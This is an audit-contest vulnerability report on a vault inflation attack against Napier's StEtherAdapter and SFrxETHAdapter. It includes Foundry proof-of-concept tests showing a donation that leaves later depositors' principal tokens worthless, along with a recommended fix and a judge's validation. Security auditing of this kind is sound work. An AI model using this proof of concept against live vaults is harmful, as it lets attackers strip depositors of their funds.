cawfree - Concrete implementations of `BaseLPTAdapter` are susceptible to vault inflation attacks.

[sherlock-admin2]

cawfree

high

Concrete implementations of BaseLPTAdapter are susceptible to vault inflation attacks.

Summary

It is possible for malicious users to inflate the price of vault shares for concrete implementations of BaseLPTAdapter such as the StEtherAdapter and the SFrxETHAdapter.sol.

Vulnerability Detail

When the BaseLPTAdapter mints shares, the following calculation is used to determine how many shares to mint on behalf of the caller:

uint256 assets = IWETH9(WETH).balanceOf(address(this)) - bufferEthCache;
uint256 shares = previewDeposit(assets);

Drilling down, the previewDeposit(uint256) relies on the following calculation:

/**
 * @dev Internal conversion function (from assets to shares) with support for rounding direction.
 */
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
    return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}

In Napier, _decimalsOffset() has not been overridden, and it returns by default 0. A brief reminder of the following totalAssets() formulas:

📄 StEtherAdapter.sol

function totalAssets() public view override returns (uint256) {
    uint256 stEthBalance = STETH.balanceOf(address(this));
    return withdrawalQueueEth + bufferEth + stEthBalance;
}

📄 SFrxETHAdapter.sol

function totalAssets() public view override returns (uint256) {
    uint256 balance = STAKED_FRXETH.balanceOf(address(this));
    uint256 balanceInFrxEth = STAKED_FRXETH.convertToAssets(balance);
    return withdrawalQueueEth + bufferEth + balanceInFrxEth; // 1 frxEth = 1 ETH
}

These implementations of totalAssets() demonstrate that the calculations are susceptible to donations of the yield-bearing target asset.

📄 test/integration/lido/Tranche.t.sol

Let's briefly prove that vault shares can indeed be inflated:

function testInflateVaultShares() public {

   adapter = new StEtherAdapter(address(1));

    vm.prank(address(1));
        StEtherAdapter(payable(address(adapter))).setTargetBufferPercentage(1 ether);

    address dave = address(0x69);

    deal(address(underlying), charlie, 100 * MAX_UNDERLYING_DEPOSIT, false);
    deal(address(underlying), dave, 100 * MAX_UNDERLYING_DEPOSIT, false);

    vm.startPrank(charlie);
        underlying.transfer(address(adapter), 1);
        adapter.prefundedDeposit();
    vm.stopPrank();

    assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(charlie), 1);

    /// @dev Here we inflate the vault assets. For convenience we are
    /// using the `whale` address to make deposit.
    vm.prank(whale);
        IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84).transfer(address(adapter), 1e18);

    vm.startPrank(dave);
        underlying.transfer(address(adapter), 1e18);
        adapter.prefundedDeposit();
    vm.stopPrank();

    /// @notice `dave` only receives a single share for their
    /// deposit of 1e18 underlying.
    assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(dave), 1);

}

This leads to an amplified scale() value combined with relatively small shares, which conspires against the current logical assumptions.

The sequence below demonstrates that when we fast-forward to maturity, the combination of illiquid shares with rounding down against the redeemer of the shares results in the failure to redeem principle tokens, rendering them worthless:

 /// @param performInflationAttack Whether to inflate the vault.
function testFuzz_InflateVaultShares(bool performInflationAttack) public {

    vm.prank(rebalancer);
        StEtherAdapter(payable(address(adapter))).setTargetBufferPercentage(1 ether);

    deal(address(underlying), charlie, 100 * MAX_UNDERLYING_DEPOSIT, false);

    if (performInflationAttack) {

        vm.startPrank(charlie);
        underlying.transfer(address(adapter), 1);
        adapter.prefundedDeposit();
        vm.stopPrank();

        assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(charlie), 1);

        /// @dev Here we inflate the vault assets. For convenience we are
        /// using the `whale` address to make deposit.
        vm.prank(whale);
            IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84).transfer(address(adapter), 1e18);
    }

    address emma = address(0x1559);

    deal(address(underlying), emma, 100 * MAX_UNDERLYING_DEPOSIT, false);

    vm.startPrank(emma);
        IERC20(address(underlying)).approve(address(tranche), type(uint256).max);
        tranche.issue(address(emma), 1e18);
        assertEq(tranche.balanceOf(emma), performInflationAttack ? 500000000000000000 : 1000000000000000000);
    vm.stopPrank();

    // Let's skip to maturity.
    vm.warp(tranche.maturity());

    /// @dev When we perform the inflation attack, emma's
    /// shares expire worthless.
    assertEq(tranche.previewRedeem(tranche.balanceOf(emma)), performInflationAttack ? 0 : 1000000000000000000);

}

Further still, it can be proven that the vault undergoing a share inflation attack combined with non-zero issuanceFees, can result in stakers receiving zero yield stripping tokens in exchange for their deposits due to rounding in favour of the protocol.

Impact

It is economically concievable for attackers to force principle tokens to expire worthless at maturity.

Code Snippet

function _decimalsOffset() internal view virtual returns (uint8) {
    return 0;
}

Tool used

Foundry, Chisel

Recommendation

It is recommended to override _decimalsOffset() with a higher value to decrease the feasibility of economic attacks. Using a greater value will radically diminish the both the economic incentive and influence of a single staker's malicious donation to the pool.

Duplicate of #94

[sherlock-admin]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: inflation attack possible according to the provided POC; high(2)